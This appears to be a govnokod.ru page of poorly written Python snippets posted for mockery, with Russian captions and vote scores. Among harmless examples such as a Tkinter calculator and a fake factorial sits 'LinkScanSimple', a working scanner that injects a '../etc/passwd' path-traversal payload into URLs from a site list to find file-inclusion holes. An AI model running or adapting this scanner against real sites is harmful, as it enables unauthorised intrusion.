- 1
- 2
- 3
- 4
infle = list()
for line in inf.read().splitlines():
infle.append(line.decode('windows-1251'))
infile = iter(infle)
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−354.8
infle = list()
for line in inf.read().splitlines():
infle.append(line.decode('windows-1251'))
infile = iter(infle)
Функция принимает параметр inf... через пол-экрана:
−349
def MappingRights(i, s, u, d):
INS=i.split(":")
SEL=s.split(":")
UPD=u.split(":")
DEL=d.split(":")
id_group=INS[0];
right=str(int(bool(INS[1].capitalize()))) + \
str(int(bool(SEL[1].capitalize()))) + \
str(int(bool(UPD[1].capitalize()))) + \
str(int(bool(DEL[1].capitalize())))
return id_group, right;
Парсим массив с правами переданный из JavaScript.
нужно из "true" получить "1", соответственно из "false" "0"
−114
ggaa
awqe
asd
adfa
asdasdasdas
−346
import time
print time.ctime(1234567890)
Перевод времени из Unix-time формата
−424
#!/usr/bin/python
#LinkScanSimple will take a list of sites and
#add an extension after the = then search the
#source for a match you choose.
#For an LFI scan I use "root:" but for a shell location
#I would choose the shell title (r57shell). For SQL
#you can choose a common sql error.
import sys, re, urllib2, sets, socket
socket.setdefaulttimeout(5)
#---------------------------------------------------------
#Edit what you want added to the address.
EXT = "../../../../../../../../../../../../etc/passwd"
#Edit what you want to search for.
MATCH = "root:"
#---------------------------------------------------------
def parse_urls(links):
urls = []
for link in links:
num = link.count("=")
if num > 0:
for x in xrange(num):
link = link.rsplit("=",x+1)[0]+"="
urls.append(link+EXT)
urls = list(sets.Set(urls))
return urls
def test(host):
print "[+] Testing:",host.replace(EXT,"")
try:
source = urllib2.urlopen(host).read()
if re.search(MATCH, source):
print "[+] Found:",host
else:
print "[-] Not Vuln."
except:
pass
print "\n\t d3hydr8[at]gmail[dot]com LinkScanSimple v1.0"
print "\t-------------------------------------------------\n"
if len(sys.argv) != 2:
print "Usage : ./linkscan.py <site_list>"
print "Ex: ./linkscan.py sites.txt\n"
sys.exit(1)
try:
sites = open(sys.argv[1], "r").readlines()
except(IOError):
print "Error: Check your site list path\n"
sys.exit(1)
print "[+] Loaded:",len(sites),"sites"
urls = parse_urls(sites)
print "[+] Links Found:",len(urls)
for url in urls:
try:
test(url.replace("\n",""))
except(KeyboardInterrupt):
pass
print "\n[-] Scan Complete\n"
−421.8
def myint2str(x, n):
zzeros = '0'
input_string = str(x)
string_len = len(input_string)
for zz in range(1,n-string_len,1):
zzeros = zzeros + '0'
rres = zzeros+str(x)
return rres
Задача: написать функцию которая переводит целое число в строку определённого размера, содержащую это целое число и нули.
То есть:
5 >> 00005
123 >> 00123
Отсюда: http://koldunov.net/?p=194
−327.4
#-*- coding:cp1251 -*-
from Tkinter import *
""" pyCalc by deluxe, thanks to Sanch0
Калькулятор работает только с 2 числами и одним действием над ними."""
# глобальные переменные
x1=''
x2=''
deistvie=''
# функции батонов ввода цифр и запятой
# если действие еще не задано, заполняется х1, а если задано - х2
# и значение переменной отражается на соотв. виджете
def press1():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'1'
lblx1.configure(text=x1)
else:
x2=x2+'1'
lblx2.configure(text=x2)
def press2():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'2'
lblx1.configure(text=x1)
else:
x2=x2+'2'
lblx2.configure(text=x2)
def press3():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'3'
lblx1.configure(text=x1)
else:
x2=x2+'3'
lblx2.configure(text=x2)
def press4():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'4'
lblx1.configure(text=x1)
else:
x2=x2+'4'
lblx2.configure(text=x2)
def press5():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'5'
lblx1.configure(text=x1)
else:
x2=x2+'5'
lblx2.configure(text=x2)
def press6():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'6'
lblx1.configure(text=x1)
else:
x2=x2+'6'
lblx2.configure(text=x2)
def press7():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'7'
lblx1.configure(text=x1)
else:
x2=x2+'7'
lblx2.configure(text=x2)
def press8():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'8'
lblx1.configure(text=x1)
else:
x2=x2+'8'
lblx2.configure(text=x2)
def press9():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'9'
lblx1.configure(text=x1)
else:
x2=x2+'9'
lblx2.configure(text=x2)
def press0():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'0'
lblx1.configure(text=x1)
else:
x2=x2+'0'
lblx2.configure(text=x2)
def pressdot():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'.'
lblx1.configure(text=x1)
else:
x2=x2+'.'
lblx2.configure(text=x2)
−430.2
#начало индусокода
def desyatka(number):
return int(number/10.0)
def edenica(number):
return number-desyatka(number)*10
hours_string=[]
for a in range(0,30):
zzz=""
if edenica(a)<5:
zzz = " часа "
if edenica(a)==1:
zzz = " час "
if desyatka(a)==1:
zzz = " часов "
if edenica(a)==0:
zzz = " часов "
if zzz=="":
zzz=" часов "
hours_string.append(zzz)
minutes_string=[]
for a in range(0,60):
zzz=""
if edenica(a)<5:
zzz = " минуты "
if edenica(a)==1:
zzz = " минута "
if desyatka(a)==1:
zzz = " минут "
if edenica(a)==0:
zzz = " минут "
if zzz=="":
zzz=" минут "
minutes_string.append(zzz)
seconds_string=[]
for a in range(0,60):
zzz=""
if edenica(a)<5:
zzz = " секунды "
if edenica(a)==1:
zzz = " секунда "
if desyatka(a)==1:
zzz = " секунд "
if edenica(a)==0:
zzz = " секунд "
if zzz=="":
zzz=" секунд "
seconds_string.append(zzz)
#конец индусокода
Ф-ии, склоняющие по падежам и временам слова "часов", "минут", секунд
−421
def list2str(lst):
return reduce(lambda x,y:x+y,str(list(lst)).split("]")[0].split("[")[1].split(", "))
Функция, переводящая список в строку
−152.7
#TODO:Сделать функцию факториала
def factorial(n):
return str(n)+"!"
#TODO:Сделать работающую функцию факториала
Видимо человек не знает что такое стандартная библиотека